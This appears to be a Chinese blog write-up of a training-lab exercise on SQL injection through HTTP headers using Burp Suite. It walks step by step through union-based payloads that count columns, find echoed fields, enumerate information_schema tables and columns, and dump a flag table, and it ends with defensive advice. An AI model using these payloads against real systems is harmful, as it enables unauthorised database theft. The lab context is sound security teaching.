墨者:SQL注入漏洞测试(HTTP头注入)

墨者学院:SQL注入漏洞测试(HTTP头注入)🚀

1. 什么是HTTP头注入?🔍

HTTP头注入是指攻击者通过篡改HTTP请求头部的字段(如User-Agent、Referer、Cookie、Host等),将恶意SQL代码插入到后端数据库查询中。当应用程序未对头部输入进行严格过滤时,可能导致数据库信息泄露或服务器被控制。

典型场景

  • 登录页面的X-Forwarded-For记录IP
  • 用户跟踪的User-Agent记录
  • 身份验证的Cookie字段
  • 服务器路由使用的Host字段

2. 使用工具:Burpsuite🔧

Burpsuite是渗透测试中常用的拦截/修改HTTP请求的工具,测试将使用Repeater模块,手动修改并重放请求


3. 注入流程详解🎯

步骤1:确定字段数量⚡

sql 复制代码
order by 5

参数解释

  • order by N:通过递增N判断查询结果的列数,直到返回错误(本例中order by 5报错,说明列数≤4)。

步骤2:确认回显位⚡

sql 复制代码
union select 1,2,3,4

参数解释

  • union select:联合查询,数字1-4代表列位置,页面显示的数字即为可回显数据的列(如显示2,3,4则对应第2、3、4列可注入)。

步骤3:获取基础信息⚡

sql 复制代码
union select 1,user(),version(),database()

参数解释

  • user():当前数据库用户
  • version():数据库版本
  • database():当前数据库名称

步骤4:枚举表名⚡

sql 复制代码
union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='pentesterlab'

参数解释

  • information_schema.tables:系统表存储所有表信息
  • group_concat():合并查询结果(避免多行显示)
  • table_schema:指定目标数据库名

步骤5:枚举列名⚡

sql 复制代码
union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='pentesterlab' and table_name='flag'

参数解释

  • information_schema.columns:系统表存储所有列信息
  • table_name:指定目标表名

步骤6:提取数据⚡

sql 复制代码
union select 1,2,3,group_concat(flag) from flag

参数解释

  • flag表中提取flag列的全部数据

4. 总结🏁

  1. 漏洞成因:未过滤HTTP头部输入,直接拼接SQL查询。
  2. 防御建议
    • 使用预编译语句(Prepared Statements)
    • 对头部参数进行严格白名单验证
  3. 测试关键
    • 通过order by确定列数
    • 利用information_schema逐步获取数据库结构

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

相关推荐
一起养小猫9 小时前
Flutter for OpenHarmony 实战:打造天气预报应用
开发语言·网络·jvm·数据库·flutter·harmonyos
qianshang23313 小时前
SQL注入学习总结
网络·数据库·渗透
what丶k14 小时前
深入解析Redis数据持久化:RBD机制原理、实操与生产最佳实践
数据库·redis·缓存
瀚高PG实验室15 小时前
通过数据库日志获取数据库中的慢SQL
数据库·sql·瀚高数据库
Hgfdsaqwr15 小时前
Python在2024年的主要趋势与发展方向
jvm·数据库·python
invicinble15 小时前
对于Mysql深入理解
数据库·mysql
阳光九叶草LXGZXJ15 小时前
达梦数据库-学习-47-DmDrs控制台命令(LSN、启停、装载)
linux·运维·数据库·sql·学习
Hgfdsaqwr16 小时前
掌握Python魔法方法(Magic Methods)
jvm·数据库·python
s1hiyu16 小时前
使用Scrapy框架构建分布式爬虫
jvm·数据库·python
2301_7634724616 小时前
使用Seaborn绘制统计图形:更美更简单
jvm·数据库·python